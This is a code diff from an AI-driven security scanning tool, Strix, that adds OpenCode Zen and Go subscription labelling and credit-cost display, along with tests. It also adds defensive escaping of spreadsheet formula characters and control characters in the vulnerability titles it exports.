"is_whitebox": is_whitebox_scan(args.targets_info),
|
||||
"interactive": not args.non_interactive,
|
||||
@@ -247,7 +247,8 @@ def _persist_run_record(args: argparse.Namespace) -> None:
|
||||
"status": "running",
|
||||
"start_time": datetime.now(UTC).isoformat(),
|
||||
"end_time": None,
|
||||
"auth_mode": codex.auth_mode(load_settings().llm.model),
|
||||
"auth_mode": opencode.auth_mode(load_settings().llm.model),
|
||||
"subscription_provider": opencode.subscription_provider(load_settings().llm.model),
|
||||
"targets_info": args.targets_info,
|
||||
"scan_mode": args.scan_mode,
|
||||
"instruction": args.instruction,
|
||||
|
||||
@@ -24,7 +24,7 @@ from strix.interface.tui.backend.projection import (
|
||||
sanitize_terminal_text,
|
||||
terminal_projection,
|
||||
)
|
||||
from strix.interface.utils import is_subscription_run
|
||||
from strix.interface.utils import is_subscription_run, subscription_label
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
@@ -187,6 +187,10 @@ class TuiController:
|
||||
subscription = False
|
||||
with contextlib.suppress(Exception):
|
||||
subscription = is_subscription_run(self.report_state)
|
||||
label = ""
|
||||
if subscription:
|
||||
with contextlib.suppress(Exception):
|
||||
label = subscription_label()
|
||||
model_warning = ""
|
||||
if model and not is_recommended_or_frontier_model(model):
|
||||
model_warning = (
|
||||
@@ -223,6 +227,7 @@ class TuiController:
|
||||
],
|
||||
"usage": terminal_projection(usage, max_string=256, max_items=20),
|
||||
"subscription": subscription,
|
||||
"subscription_label": label,
|
||||
"connections": [
|
||||
{
|
||||
"name": terminal_projection(entry["name"], max_string=64),
|
||||
|
||||
@@ -617,7 +617,11 @@ func (m Model) statsView() string {
|
||||
if b.Len() > 0 {
|
||||
b.WriteString("\n")
|
||||
}
|
||||
b.WriteString(lipgloss.NewStyle().Foreground(green).Render("ChatGPT subscription"))
|
||||
label := m.snapshot.SubscriptionLabel
|
||||
if label == "" {
|
||||
label = "ChatGPT subscription"
|
||||
}
|
||||
b.WriteString(lipgloss.NewStyle().Foreground(green).Render(label))
|
||||
}
|
||||
total := numberValue(m.snapshot.Usage["total_tokens"])
|
||||
if total > 0 {
|
||||
|
||||
@@ -79,6 +79,7 @@ type Snapshot struct {
|
||||
Vulnerabilities []map[string]any `json:"-"`
|
||||
Usage map[string]any `json:"usage"`
|
||||
Subscription bool `json:"subscription"`
|
||||
SubscriptionLabel string `json:"subscription_label"`
|
||||
Connections []Connection `json:"connections"`
|
||||
ViewerStatus string `json:"viewer_status"`
|
||||
ViewerURL *string `json:"viewer_url"`
|
||||
|
||||
@@ -281,9 +281,27 @@ def is_subscription_run(report_state: Any) -> bool:
|
||||
record = getattr(report_state, "run_record", None)
|
||||
if isinstance(record, dict) and record.get("auth_mode"):
|
||||
return record.get("auth_mode") == "subscription"
|
||||
from strix.config import codex
|
||||
from strix.config import opencode
|
||||
|
||||
return codex.auth_mode(load_settings().llm.model) == "subscription"
|
||||
return opencode.auth_mode(load_settings().llm.model) == "subscription"
|
||||
|
||||
|
||||
def subscription_label() -> str:
|
||||
"""Display name of the subscription behind the configured model."""
|
||||
from strix.config import opencode
|
||||
|
||||
oc = opencode.subscription_model(load_settings().llm.model)
|
||||
if oc:
|
||||
return oc.label
|
||||
return "ChatGPT subscription"
|
||||
|
||||
|
||||
def subscription_is_metered() -> bool:
|
||||
"""Whether the run spends per-request credits rather than a flat plan."""
|
||||
from strix.config import opencode
|
||||
|
||||
oc = opencode.subscription_model(load_settings().llm.model)
|
||||
return oc is not None and oc.metered
|
||||
|
||||
|
||||
def _int_stat(usage: dict[str, Any], key: str) -> int:
|
||||
@@ -326,7 +344,9 @@ def _build_llm_usage_stats(
|
||||
if not usage or _int_stat(usage, "requests") <= 0:
|
||||
stats_text.append("\n")
|
||||
stats_text.append("Cost ", style="dim")
|
||||
if subscription:
|
||||
if subscription and subscription_is_metered():
|
||||
stats_text.append("credits ", style="#22c55e")
|
||||
elif subscription:
|
||||
stats_text.append("$0.00 ", style="#22c55e")
|
||||
stats_text.append("(subscription) ", style="dim")
|
||||
else:
|
||||
@@ -355,7 +375,19 @@ def _build_llm_usage_stats(
|
||||
stats_text.append("Output Tokens ", style="dim")
|
||||
stats_text.append(format_token_count(output_tokens), style="white")
|
||||
|
||||
if subscription:
|
||||
if subscription and subscription_is_metered():
|
||||
# Zen spends prepaid credits per request, so a run is not free. Its
|
||||
# Anthropic route runs through LiteLLM and yields a real charge; the
|
||||
# OpenAI-SDK routes report none, and an unpriced run says so rather
|
||||
# than claiming $0.00.
|
||||
stats_text.append(" · ", style="dim white")
|
||||
stats_text.append("Cost ", style="dim")
|
||||
if cost > 0:
|
||||
stats_text.append(f"${cost:.4f}", style="#22c55e")
|
||||
stats_text.append(" (credits)", style="dim")
|
||||
else:
|
||||
stats_text.append("credits", style="#22c55e")
|
||||
elif subscription:
|
||||
stats_text.append(" · ", style="dim white")
|
||||
stats_text.append("Cost ", style="dim")
|
||||
stats_text.append("$0.00", style="#22c55e")
|
||||
@@ -387,7 +419,7 @@ def build_live_stats_text(report_state: Any) -> Text:
|
||||
stats_text.append(str(model), style="white")
|
||||
if is_subscription_run(report_state):
|
||||
stats_text.append(" · ", style="dim white")
|
||||
stats_text.append("ChatGPT subscription", style="#22c55e")
|
||||
stats_text.append(subscription_label(), style="#22c55e")
|
||||
stats_text.append("\n")
|
||||
|
||||
vuln_count = len(report_state.vulnerability_reports)
|
||||
@@ -433,7 +465,7 @@ def build_tui_stats_text(report_state: Any) -> Text:
|
||||
subscription = is_subscription_run(report_state)
|
||||
if subscription:
|
||||
stats_text.append("\n")
|
||||
stats_text.append("ChatGPT subscription", style="#22c55e")
|
||||
stats_text.append(subscription_label(), style="#22c55e")
|
||||
|
||||
usage = _llm_usage(report_state)
|
||||
if usage and _int_stat(usage, "total_tokens") > 0:
|
||||
|
||||
@@ -101,6 +101,23 @@ export function RunDetails({
|
||||
const totalTokens = num(usage.total_tokens);
|
||||
const cost = num(usage.cost);
|
||||
const subscription = str(raw.auth_mode) === "subscription";
|
||||
const subscriptionProvider =
|
||||
str(raw.subscription_provider) ??
|
||||
(models.some((m) => m.toLowerCase().startsWith("opencode")) ? "opencode" : "chatgpt");
|
||||
// Runs recorded before subscription_plan existed still carry the model string,
|
||||
// whose prefix names the plan.
|
||||
const subscriptionPlan =
|
||||
str(raw.subscription_plan) ??
|
||||
(models.some((m) => m.toLowerCase().startsWith("opencode-go/")) ? "go" : "zen");
|
||||
const subscriptionLabel =
|
||||
subscriptionProvider === "opencode"
|
||||
? subscriptionPlan === "go"
|
||||
? "OpenCode Go"
|
||||
: "OpenCode Zen"
|
||||
: "ChatGPT subscription";
|
||||
// Zen bills prepaid credits per request, so its runs are not free and there is
|
||||
// no price table to estimate them from. Go is a flat monthly plan.
|
||||
const metered = subscriptionProvider === "opencode" && subscriptionPlan === "zen";
|
||||
|
||||
const sub = (n: number, word: string) => (
|
||||
<span className="text-[#666]"> ({formatNumber(n)} {word})</span>
|
||||
@@ -180,7 +197,7 @@ export function RunDetails({
|
||||
<Field label="Provider">
|
||||
<span className="inline-flex items-center gap-1.5">
|
||||
<span className="rounded-full border border-[#22c55e]/40 bg-[#22c55e]/10 px-2 py-0.5 text-[11px] text-[#22c55e]">
|
||||
ChatGPT subscription
|
||||
{subscriptionLabel}
|
||||
</span>
|
||||
</span>
|
||||
</Field>
|
||||
@@ -200,7 +217,21 @@ export function RunDetails({
|
||||
</Field>
|
||||
)}
|
||||
{totalTokens != null && <Field label="Total tokens">{formatNumber(totalTokens)}</Field>}
|
||||
{subscription ? (
|
||||
{subscription && metered ? (
|
||||
<Field label="Cost">
|
||||
{cost != null && cost > 0 ? (
|
||||
<>
|
||||
<span className="text-[#22c55e]">${cost.toFixed(2)}</span>
|
||||
<span className="text-[#666]"> (Zen credits)</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<span className="text-[#22c55e]">credits</span>
|
||||
<span className="text-[#666]"> (not priced locally)</span>
|
||||
</>
|
||||
)}
|
||||
</Field>
|
||||
) : subscription ? (
|
||||
<Field label="Cost">
|
||||
<span className="text-[#22c55e]">$0.00</span>
|
||||
<span className="text-[#666]"> (subscription)</span>
|
||||
|
||||
10
strix/interface/viewer/static/assets/index-Ccea__Xc.css
Normal file
10
strix/interface/viewer/static/assets/index-Ccea__Xc.css
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -6,8 +6,8 @@
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<meta name="color-scheme" content="dark" />
|
||||
<title>Strix Results</title>
|
||||
<script type="module" crossorigin src="./assets/index-Bpn8GiSb.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-qwPOPAGC.css">
|
||||
<script type="module" crossorigin src="./assets/index-DD3_cI9L.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-Ccea__Xc.css">
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
|
||||
@@ -18,6 +18,8 @@ logger = logging.getLogger(__name__)
|
||||
_STRIPPABLE_PREFIXES = (
|
||||
"openai/",
|
||||
"chatgpt/",
|
||||
"opencode-go/",
|
||||
"opencode/",
|
||||
"litellm/",
|
||||
"any-llm/",
|
||||
"ollama/",
|
||||
@@ -48,7 +50,11 @@ def _model_info(model: str) -> dict[str, int]:
|
||||
lookup_key = _lookup_key(model)
|
||||
# Provider-qualified ChatGPT lookups may start a synchronous device-login
|
||||
# poll. LiteLLM keys the metadata by the underlying model slug.
|
||||
candidates = (lookup_key,) if model.startswith("chatgpt/") else (model, lookup_key)
|
||||
candidates = (
|
||||
(lookup_key,)
|
||||
if model.startswith(("chatgpt/", "opencode/", "opencode-go/"))
|
||||
else (model, lookup_key)
|
||||
)
|
||||
for candidate in candidates:
|
||||
info = _safe_get_model_info(candidate)
|
||||
if info is not None:
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import subprocess
|
||||
import threading
|
||||
from collections.abc import Callable
|
||||
@@ -9,7 +10,7 @@ from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any, Optional, cast
|
||||
from uuid import uuid4
|
||||
|
||||
from strix.config import codex
|
||||
from strix.config import opencode
|
||||
from strix.config.loader import load_settings
|
||||
from strix.core.paths import run_dir_for, runtime_state_dir
|
||||
from strix.report.coverage import write_coverage
|
||||
@@ -32,6 +33,8 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
_global_report_state: Optional["ReportState"] = None
|
||||
|
||||
_CONTROL_CHARS = re.compile(r"[\x00-\x1f\x7f]+")
|
||||
|
||||
|
||||
def _strix_version() -> str | None:
|
||||
"""Best-effort package version for the SARIF tool.driver.version field."""
|
||||
@@ -41,6 +44,17 @@ def _strix_version() -> str | None:
|
||||
return None
|
||||
|
||||
|
||||
def _clean_title(title: str) -> str:
|
||||
"""Return a single-line finding title.
|
||||
|
||||
A title quotes text from the scanned target, so it can carry newlines, tabs or
|
||||
other control characters. Those break every artifact that renders the title on
|
||||
one line, such as the markdown heading, the CSV cell and the TUI list. Control
|
||||
characters become spaces and runs of whitespace collapse to one space.
|
||||
"""
|
||||
return " ".join(_CONTROL_CHARS.sub(" ", title).split())
|
||||
|
||||
|
||||
def _number(value: Any) -> int | float:
|
||||
try:
|
||||
return float(value or 0)
|
||||
@@ -138,8 +152,13 @@ class ReportState:
|
||||
|
||||
self._llm_usage = LLMUsageLedger()
|
||||
self._telemetry_llm_usage_baseline: dict[str, Any] = {}
|
||||
auth_mode = codex.auth_mode(load_settings().llm.model)
|
||||
self._llm_usage.zero_cost = auth_mode == "subscription"
|
||||
auth_mode = opencode.auth_mode(load_settings().llm.model)
|
||||
oc = opencode.subscription_model(load_settings().llm.model)
|
||||
# A flat subscription has no per-run charge to report. Zen bills prepaid
|
||||
# credits per request, so its cost is real and stays tracked.
|
||||
self._llm_usage.zero_cost = auth_mode == "subscription" and not (
|
||||
oc is not None and oc.metered
|
||||
)
|
||||
self.run_record: dict[str, Any] = {
|
||||
"run_id": self.run_id,
|
||||
"run_name": self.run_name,
|
||||
@@ -147,6 +166,8 @@ class ReportState:
|
||||
"end_time": None,
|
||||
"status": "running",
|
||||
"auth_mode": auth_mode,
|
||||
"subscription_provider": opencode.subscription_provider(load_settings().llm.model),
|
||||
"subscription_plan": opencode.subscription_plan(load_settings().llm.model),
|
||||
"targets_info": [],
|
||||
"llm_usage": self._build_llm_usage_record(),
|
||||
}
|
||||
@@ -222,8 +243,15 @@ class ReportState:
|
||||
)
|
||||
self.vulnerability_reports = [r for r in data if isinstance(r, dict)]
|
||||
for r in self.vulnerability_reports:
|
||||
title = r.get("title")
|
||||
stale_md = False
|
||||
if isinstance(title, str):
|
||||
r["title"] = _clean_title(title)
|
||||
stale_md = r["title"] != title
|
||||
rid = r.get("id")
|
||||
if isinstance(rid, str):
|
||||
# A finding already on disk keeps its markdown, unless cleaning
|
||||
# changed the title: the heading on disk then needs a rewrite.
|
||||
if isinstance(rid, str) and not stale_md:
|
||||
self._saved_vuln_ids.add(rid)
|
||||
logger.info(
|
||||
"report state hydrated %d vulnerability report(s)",
|
||||
@@ -266,7 +294,7 @@ class ReportState:
|
||||
|
||||
report: dict[str, Any] = {
|
||||
"id": report_id,
|
||||
"title": title.strip(),
|
||||
"title": _clean_title(title),
|
||||
"severity": severity.lower().strip(),
|
||||
"timestamp": datetime.now(UTC).strftime("%Y-%m-%d %H:%M:%S UTC"),
|
||||
}
|
||||
|
||||
@@ -26,10 +26,33 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
|
||||
|
||||
_CSV_FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
|
||||
|
||||
_FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL)
|
||||
_BACKTICK_RUN = re.compile(r"`+")
|
||||
|
||||
|
||||
def csv_safe(value: object) -> str:
|
||||
"""Return ``value`` as a CSV cell a spreadsheet will not treat as a formula.
|
||||
|
||||
Excel, LibreOffice and Sheets evaluate a cell whose first character is one of
|
||||
``= + - @``, tab or carriage return. The :mod:`csv` module quotes CSV syntax
|
||||
but has no notion of formula triggers, so such a value reaches the cell intact
|
||||
and is executed on open (CWE-1236). Vulnerability titles quote text from the
|
||||
scanned target, which is exactly the attacker-influenced input this guards
|
||||
against.
|
||||
|
||||
Prefixing with an apostrophe is the standard mitigation (OWASP): the rest of
|
||||
the cell is kept as literal text instead of being evaluated. Excel shows the
|
||||
apostrophe when it opens a ``.csv`` directly, which is cosmetic — the point is
|
||||
that nothing runs.
|
||||
"""
|
||||
text = str(value)
|
||||
if text.startswith(_CSV_FORMULA_PREFIXES):
|
||||
return "'" + text
|
||||
return text
|
||||
|
||||
|
||||
def safe_fence(content: str) -> str:
|
||||
"""Return a backtick fence that ``content`` cannot break out of.
|
||||
|
||||
@@ -151,11 +174,11 @@ def write_vulnerabilities(
|
||||
for report in sorted_reports:
|
||||
csv_writer.writerow(
|
||||
{
|
||||
"id": report["id"],
|
||||
"title": report["title"],
|
||||
"severity": report["severity"].upper(),
|
||||
"timestamp": report["timestamp"],
|
||||
"file": f"vulnerabilities/{report['id']}.md",
|
||||
"id": csv_safe(report["id"]),
|
||||
"title": csv_safe(report["title"]),
|
||||
"severity": csv_safe(report["severity"].upper()),
|
||||
"timestamp": csv_safe(report["timestamp"]),
|
||||
"file": csv_safe(f"vulnerabilities/{report['id']}.md"),
|
||||
},
|
||||
)
|
||||
atomic_write_text(csv_path, csv_buf.getvalue())
|
||||
@@ -176,11 +199,17 @@ def write_vulnerabilities(
|
||||
|
||||
|
||||
def atomic_write_text(path: Path, payload: str) -> None:
|
||||
"""Write *payload* to *path* via a sibling temp file and an atomic rename."""
|
||||
"""Write *payload* to *path* via a sibling temp file and an atomic rename.
|
||||
|
||||
``newline=""`` disables newline translation so *payload* lands byte-for-byte:
|
||||
the CSV index carries its own ``\\r\\n`` terminators, which text mode would turn
|
||||
into ``\\r\\r\\n`` on Windows.
|
||||
"""
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
with tempfile.NamedTemporaryFile(
|
||||
mode="w",
|
||||
encoding="utf-8",
|
||||
newline="",
|
||||
dir=str(path.parent),
|
||||
prefix=f".{path.name}.",
|
||||
suffix=".tmp",
|
||||
|
||||
@@ -2,11 +2,12 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import time
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import pytest
|
||||
|
||||
from strix.config import codex
|
||||
from strix.config import codex, opencode
|
||||
from strix.interface import auth_cli
|
||||
|
||||
|
||||
@@ -104,3 +105,60 @@ def test_login_accepts_provider_aliases(provider: str, monkeypatch: pytest.Monke
|
||||
|
||||
assert auth_cli.run_auth(["login", provider]) == 0
|
||||
assert reached["flow"] is True
|
||||
|
||||
|
||||
@pytest.mark.parametrize("provider", ["opencode", "OpenCode", "opencode-go", "zen"])
|
||||
def test_login_accepts_opencode_aliases(provider: str, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
reached = {"login": False}
|
||||
|
||||
def _fake_login(_console: Any) -> int:
|
||||
reached["login"] = True
|
||||
return 0
|
||||
|
||||
monkeypatch.setattr(auth_cli, "_login_opencode", _fake_login)
|
||||
assert auth_cli.run_auth(["login", provider]) == 0
|
||||
assert reached["login"] is True
|
||||
|
||||
|
||||
def test_login_opencode_validates_and_saves(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
saved: dict[str, str] = {}
|
||||
monkeypatch.setattr("rich.console.Console.input", lambda _self, *_a, **_k: " sk-oc-test ")
|
||||
monkeypatch.setattr(opencode, "validate_api_key", lambda key: saved.setdefault("checked", key))
|
||||
monkeypatch.setattr(opencode, "save_api_key", lambda key: saved.setdefault("key", key))
|
||||
|
||||
assert auth_cli.run_auth(["login", "opencode"]) == 0
|
||||
assert saved == {"checked": "sk-oc-test", "key": "sk-oc-test"}
|
||||
|
||||
|
||||
def test_login_opencode_rejects_bad_key(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setattr("rich.console.Console.input", lambda _self, *_a, **_k: "bad")
|
||||
|
||||
def _reject(_key: str) -> None:
|
||||
raise opencode.OpencodeAuthError("invalid_key")
|
||||
|
||||
monkeypatch.setattr(opencode, "validate_api_key", _reject)
|
||||
assert auth_cli.run_auth(["login", "opencode"]) == 1
|
||||
assert opencode.is_authenticated() is False
|
||||
|
||||
|
||||
def test_logout_provider_scoped() -> None:
|
||||
codex.save_record(
|
||||
{
|
||||
"type": "oauth",
|
||||
"provider": "codex",
|
||||
"access": "a",
|
||||
"refresh": "r",
|
||||
"account_id": "acct",
|
||||
"expires_at": time.time() + 3600,
|
||||
}
|
||||
)
|
||||
opencode.save_api_key("sk-oc-test")
|
||||
|
||||
assert auth_cli.run_auth(["logout", "opencode"]) == 0
|
||||
assert opencode.is_authenticated() is False
|
||||
assert codex.is_authenticated() is True
|
||||
|
||||
assert auth_cli.run_auth(["logout"]) == 0
|
||||
assert codex.is_authenticated() is False
|
||||
|
||||
assert auth_cli.run_auth(["logout", "bogus"]) == 2
|
||||
|
||||
@@ -228,7 +228,10 @@ def test_resume_still_requires_targets_or_a_workspace(
|
||||
|
||||
assert "has no targets_info" in capsys.readouterr().err
|
||||
|
||||
def test_resume_non_object_run_json_exits(tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]) -> None:
|
||||
|
||||
def test_resume_non_object_run_json_exits(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
|
||||
) -> None:
|
||||
monkeypatch.chdir(tmp_path)
|
||||
run_dir = tmp_path / "strix_runs" / "pentest_abcd"
|
||||
run_dir.mkdir(parents=True)
|
||||
|
||||
@@ -122,6 +122,23 @@ def test_make_model_settings_no_prompt_cache_for_non_claude(model_name: str) ->
|
||||
assert make_model_settings(None, model_name=model_name).extra_args is None
|
||||
|
||||
|
||||
@pytest.mark.parametrize("model_name", ["opencode/claude-sonnet-5", "opencode-go/claude-sonnet-5"])
|
||||
def test_prompt_cache_for_opencode_claude(model_name: str) -> None:
|
||||
# Claude on OpenCode runs through LiteLLM's Anthropic route, which consumes
|
||||
# cache_control_injection_points. The gateway's other two routes use the raw
|
||||
# OpenAI SDK, whose create() rejects this LiteLLM-only argument.
|
||||
assert _cache_points(model_name) == [
|
||||
{"location": "message", "role": "system"},
|
||||
{"location": "message", "index": -1},
|
||||
]
|
||||
|
||||
|
||||
def test_no_prompt_cache_for_opencode_openai_routes() -> None:
|
||||
# A "claude" substring cannot smuggle the LiteLLM-only argument onto a route
|
||||
# that is served by the raw OpenAI SDK.
|
||||
assert _cache_points("opencode/gpt-5.4-claude-tuned") is None
|
||||
|
||||
|
||||
def test_no_prompt_cache_for_unmapped_bedrock_claude_model(monkeypatch: Any) -> None:
|
||||
# A Bedrock Claude model LiteLLM hasn't mapped must run uncached, not crash.
|
||||
unmapped = "bedrock/global.anthropic.claude-brand-new-9"
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
import pytest
|
||||
@@ -27,6 +28,51 @@ def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState
|
||||
return state
|
||||
|
||||
|
||||
def test_add_vulnerability_report_strips_control_chars_from_title(
|
||||
report_state: ReportState,
|
||||
) -> None:
|
||||
# A title quotes text from the scanned target, so it can carry newlines or
|
||||
# tabs that break the markdown heading, the CSV cell and the TUI list.
|
||||
report_id = report_state.add_vulnerability_report(
|
||||
title="\tXSS in\r\n search\x00 form ",
|
||||
severity="medium",
|
||||
target="https://app.example.com",
|
||||
)
|
||||
report = next(r for r in report_state.vulnerability_reports if r["id"] == report_id)
|
||||
assert report["title"] == "XSS in search form"
|
||||
|
||||
|
||||
def test_hydrate_from_run_dir_strips_control_chars_from_title(
|
||||
report_state: ReportState,
|
||||
) -> None:
|
||||
# A run started before titles were normalized can hold control characters on
|
||||
# disk, and resume re-exports those titles to the CSV, the SARIF and the TUI.
|
||||
(report_state.get_run_dir() / "vulnerabilities.json").write_text(
|
||||
json.dumps(
|
||||
[
|
||||
{
|
||||
"id": "vuln-0001",
|
||||
"title": "XSS in\r\n search\tform",
|
||||
"severity": "medium",
|
||||
"timestamp": "2026-01-01 00:00:00 UTC",
|
||||
}
|
||||
]
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
md_path = report_state.get_run_dir() / "vulnerabilities" / "vuln-0001.md"
|
||||
md_path.parent.mkdir(exist_ok=True)
|
||||
md_path.write_text("# XSS in\r\n search\tform\n", encoding="utf-8")
|
||||
|
||||
report_state.hydrate_from_run_dir()
|
||||
report_state.save_run_data()
|
||||
|
||||
assert report_state.vulnerability_reports[0]["title"] == "XSS in search form"
|
||||
# The markdown on disk holds the raw heading, so resume must rewrite it.
|
||||
assert md_path.read_text(encoding="utf-8").startswith("# XSS in search form\n")
|
||||
|
||||
|
||||
def _seed(state: ReportState) -> None:
|
||||
state.add_vulnerability_report(
|
||||
title="Reflected XSS in search",
|
||||
|
||||
@@ -72,6 +72,11 @@ def test_recommended_models_are_matched_case_insensitively() -> None:
|
||||
"moonshot/kimi-k2.6",
|
||||
"kimi-k2.7-code",
|
||||
"moonshot/kimi-k3",
|
||||
"opencode/gpt-5.4",
|
||||
"opencode/claude-sonnet-5",
|
||||
"opencode-go/kimi-k3",
|
||||
"opencode-go/deepseek-v4-flash",
|
||||
"opencode-go/qwen3.8-max",
|
||||
],
|
||||
)
|
||||
def test_frontier_model_families_are_accepted(model_name: str) -> None:
|
||||
|
||||
212
tests/test_opencode_auth.py
Normal file
212
tests/test_opencode_auth.py
Normal file
@@ -0,0 +1,212 @@
|
||||
"""Tests for OpenCode (Zen/Go) subscription auth: prefix parsing and key store."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import TYPE_CHECKING
|
||||
from unittest import mock
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
from strix.config import codex, opencode
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _tmp_store(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
|
||||
path = tmp_path / "home" / ".strix" / "subscription-auth.json"
|
||||
monkeypatch.setattr(codex, "AUTH_PATH", path)
|
||||
return path
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("model", "slug", "base_url", "protocol"),
|
||||
[
|
||||
(
|
||||
"opencode/claude-sonnet-5",
|
||||
"claude-sonnet-5",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_MESSAGES,
|
||||
),
|
||||
("opencode/gpt-5.4", "gpt-5.4", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
|
||||
("opencode/grok-4.5", "grok-4.5", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
|
||||
("OpenCode/Kimi-K3", "Kimi-K3", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
(
|
||||
"OpenCode/Claude-Opus-5",
|
||||
"Claude-Opus-5",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_MESSAGES,
|
||||
),
|
||||
("opencode-go/kimi-k3", "kimi-k3", opencode.GO_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
(
|
||||
"opencode-go/gpt-5.6-luna",
|
||||
"gpt-5.6-luna",
|
||||
opencode.GO_BASE_URL,
|
||||
opencode.PROTOCOL_RESPONSES,
|
||||
),
|
||||
("opencode-go/grok-4.5", "grok-4.5", opencode.GO_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
# Probed per family against both gateways; a wrong protocol 500s.
|
||||
(
|
||||
"opencode/muse-spark-1.2",
|
||||
"muse-spark-1.2",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_RESPONSES,
|
||||
),
|
||||
(
|
||||
"opencode/deepseek-v4-pro",
|
||||
"deepseek-v4-pro",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_CHAT,
|
||||
),
|
||||
("opencode/minimax-m3", "minimax-m3", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
("opencode/qwen3.6-plus", "qwen3.6-plus", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
("opencode/glm-5.2", "glm-5.2", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
("opencode/grok-4.6", "grok-4.6", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
|
||||
(
|
||||
"opencode/gpt-5.6-luna",
|
||||
"gpt-5.6-luna",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_RESPONSES,
|
||||
),
|
||||
(
|
||||
"opencode/claude-opus-5",
|
||||
"claude-opus-5",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_MESSAGES,
|
||||
),
|
||||
],
|
||||
)
|
||||
def test_subscription_model_parses_prefixes(
|
||||
model: str, slug: str, base_url: str, protocol: str
|
||||
) -> None:
|
||||
parsed = opencode.subscription_model(model)
|
||||
assert parsed is not None
|
||||
assert parsed.slug == slug
|
||||
assert parsed.base_url == base_url
|
||||
assert parsed.protocol == protocol
|
||||
assert parsed.uses_responses is (protocol == opencode.PROTOCOL_RESPONSES)
|
||||
|
||||
|
||||
def test_claude_route_targets_the_anthropic_endpoint() -> None:
|
||||
parsed = opencode.subscription_model("opencode/claude-sonnet-5")
|
||||
assert parsed is not None
|
||||
assert parsed.messages_url == "https://opencode.ai/zen/v1/messages"
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("model", "plan", "label", "metered"),
|
||||
[
|
||||
("opencode/claude-sonnet-5", opencode.PLAN_ZEN, "OpenCode Zen", True),
|
||||
("opencode/kimi-k3", opencode.PLAN_ZEN, "OpenCode Zen", True),
|
||||
("opencode-go/kimi-k3", opencode.PLAN_GO, "OpenCode Go", False),
|
||||
("OpenCode-Go/GPT-5.6-Luna", opencode.PLAN_GO, "OpenCode Go", False),
|
||||
],
|
||||
)
|
||||
def test_plan_is_labelled_and_metered_per_prefix(
|
||||
model: str, plan: str, label: str, metered: bool
|
||||
) -> None:
|
||||
parsed = opencode.subscription_model(model)
|
||||
assert parsed is not None
|
||||
assert parsed.plan == plan
|
||||
assert parsed.label == label
|
||||
# Zen bills prepaid credits per request; Go is a flat monthly plan.
|
||||
assert parsed.metered is metered
|
||||
assert opencode.subscription_plan(model) == plan
|
||||
|
||||
|
||||
def test_subscription_plan_is_none_off_opencode() -> None:
|
||||
assert opencode.subscription_plan("chatgpt/gpt-5.4") is None
|
||||
assert opencode.subscription_plan("anthropic/claude-sonnet-5") is None
|
||||
assert opencode.subscription_plan(None) is None
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"model",
|
||||
["openai/gpt-5.4", "chatgpt/gpt-5.4", "opencode/", "opencode-go/", "opencode", "", None],
|
||||
)
|
||||
def test_subscription_model_rejects_non_opencode(model: str | None) -> None:
|
||||
assert opencode.subscription_model(model) is None
|
||||
|
||||
|
||||
def test_store_roundtrip_and_logout() -> None:
|
||||
assert opencode.read_record() is None
|
||||
assert opencode.is_authenticated() is False
|
||||
|
||||
opencode.save_api_key("sk-oc-test")
|
||||
record = opencode.read_record()
|
||||
assert record is not None
|
